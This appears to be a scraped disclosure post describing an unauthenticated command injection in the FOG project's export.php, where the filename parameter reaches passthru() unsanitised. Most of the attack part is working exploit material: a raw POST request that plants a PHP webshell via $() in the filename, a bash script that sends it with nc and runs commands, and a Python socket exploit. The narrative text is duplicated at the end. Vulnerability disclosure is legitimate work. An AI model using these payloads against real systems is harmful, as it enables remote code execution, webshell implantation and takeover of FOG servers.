Hey guys this is just an extract I took from a report I wrote
Here the full report
This is not a png is pdf but I could not upload otherwise my bad
Please, if it's broken somehow send me an email to [email protected] and I'll send the original file.
rename_me_to_pdf_please
you could download with something like this I guess
wget 'https://github-production-user-asset-6210df.s3.amazonaws.com/154050956/344248567-559465c5-4611-49df-aeb7-90d6e1f97a99.png?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIAVCODYLSA53PQK4ZA%2F20240628%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20240628T164739Z&X-Amz-Expires=300&X-Amz-Signature=f1439a777e93e4b4c2adfb1a9bc8d5367b534f347052700c971b07662c6983bb&X-Amz-SignedHeaders=host&actor_id=154050956&key_id=0&repo_id=18811064' -O output.pdf
So you can see bellow if we try to export a pdf while setting nojson to 2, then it will call passthru($cmd) method and run htmldoc on shell directly on the underlying system as user www-data without parsing the file name!
Which means! We got a command injection vulnerability in the file name parameter!
public function outputReport($intType = 0, $nojson = false)
[..]
case 2:
$filename = $this->_filename;
$htmlfile = sprintf(
'%s.html',
$filename
);
$html = sprintf(
'<html><body>%s</body></html>',
implode((array)$this->_strHTML)
);
$logoimage = trim(
self::getSetting('FOG_CLIENT_BANNER_IMAGE')
);
if ($logoimage) {
$logoimage = sprintf(
'--logoimage %s',
escapeshellarg(
sprintf(
'http%s://%s/fog/management/other/%s',
(
filter_input(INPUT_SERVER, 'HTTPS') ?
's' :
''
),
filter_input(INPUT_SERVER, 'HTTP_HOST'),
$logoimage
)
)
);
}
$cmd = array(
'htmldoc',
'--webpage',
'--quiet',
'--gray',
$logoimage,
'--header l',
'--footer D1/1',
'--size letter',
'-t pdf14',
'--no-compression',
$htmlfile
);
$cmd = implode(' ', (array)$cmd);
[...]
passthru($cmd);
[..]
I first tested this by trying a simple curl command
At this point I was confident I had found an Unauthenticated Command Injection vulnerability. And leveraging this to create a webshell did not take long!
Have a look at this!
As you probably noticed, instead of a normal file name we are creating a file that looks like a sub-shell! The cool part is that it allows for things like > and $() but using / is a big no no.
The class will create the file but when it executes html docs it will instead run our sub-shell first and then exit with an error saying that it found no html file!
Here it is a strip down version of what a malicious post request should look like.
POST /fog/management/export.php?filename=$(echo+'<?php+echo+shell_exec($_GET['"'cmd'"']);+?>'+>+lol.php)&type=pdf HTTP/1.1
Host: 192.168.15.5
Content-Length: 21
User-Agent: ToxicPotato
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
fogguiuser=fog&nojson=2
Here another example that help's visualize it!
#!/bin/bash
RHOST=$1
WEBSHELL="${RANDOM}.php"
sed "s,RHOST,$RHOST,g" http.txt > payload.txt
sed "s,WEBSHELL,${WEBSHELL},g" payload.txt -i
nc $RHOST 80 < payload.txt &> /dev/null
echo -e "Done! Run shell commands at:\nhttp://${RHOST}/fog/management/${WEBSHELL}"'?cmd=id'
echo
echo Output:
curl -X GET "http://${RHOST}/fog/management/${WEBSHELL}"'?cmd=id'
rm -f payload.txt 2> /dev/nul
POST /fog/management/export.php?filename=$(echo+'<?php+echo+shell_exec($_GET['"'cmd'"']);+?>'+>+WEBSHELL)&type=pdf HTTP/1.1
Host: RHOST
Content-Length: 21
User-Agent: ToxicPotato
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
fogguiuser=fog&nojson=2b
The cool thing about templating is that is a lot easier to read what is going on! The ugly side is that if we get the encoding for http.txt wrong it will not work as the http protocol expects something like /r/n at the end of each line!
So we are not done yet. Let's make something slightly cleaner.
Again, I promise cleaner not clean! Also, don't ask me why I did not used the requests library! I'm naturally weird!
#!/usr/bin/env python3
import socket
import sys
rhost = '192.168.15.5'
rport = 80
webshell = 'darek.php' #lol
payload = f"""POST /fog/management/export.php?filename=$(echo+'<?php+echo+shell_exec($_GET['"'cmd'"']);+?>'+>+{webshell})&type=pdf HTTP/1.1\r\nHost: {rhost}\r\nContent-Length: 21\r\nUser-Agent: ToxicPotato\r\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\r\n\r\nfogguiuser=fog&nojson=2"""
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
try:
sock.connect((rhost, rport))
except:
print(f'Could not reach {rhost}')
sys.exit(1)
sock.sendall(payload.encode())
data = sock.recv(1024)
print(data.decode())
it works
Hey guys this is just an extract I took from a report I wrote
Here the full report
This is not a png is pdf but I could not upload otherwise my bad
Please, if it's broken somehow send me an email to [email protected] and I'll send the original file.
rename_me_to_pdf_please
you could download with something like this I guess
So you can see bellow if we try to export a pdf while setting nojson to 2, then it will call passthru($cmd) method and run htmldoc on shell directly on the underlying system as user www-data without parsing the file name!
Which means! We got a command injection vulnerability in the file name parameter!
I first tested this by trying a simple curl command
At this point I was confident I had found an Unauthenticated Command Injection vulnerability. And leveraging this to create a webshell did not take long!
Have a look at this!
As you probably noticed, instead of a normal file name we are creating a file that looks like a sub-shell! The cool part is that it allows for things like > and $() but using / is a big no no.
The class will create the file but when it executes html docs it will instead run our sub-shell first and then exit with an error saying that it found no html file!
Here it is a strip down version of what a malicious post request should look like.
Here another example that help's visualize it!
The cool thing about templating is that is a lot easier to read what is going on! The ugly side is that if we get the encoding for http.txt wrong it will not work as the http protocol expects something like /r/n at the end of each line!
So we are not done yet. Let's make something slightly cleaner.
Again, I promise cleaner not clean! Also, don't ask me why I did not used the requests library! I'm naturally weird!
it works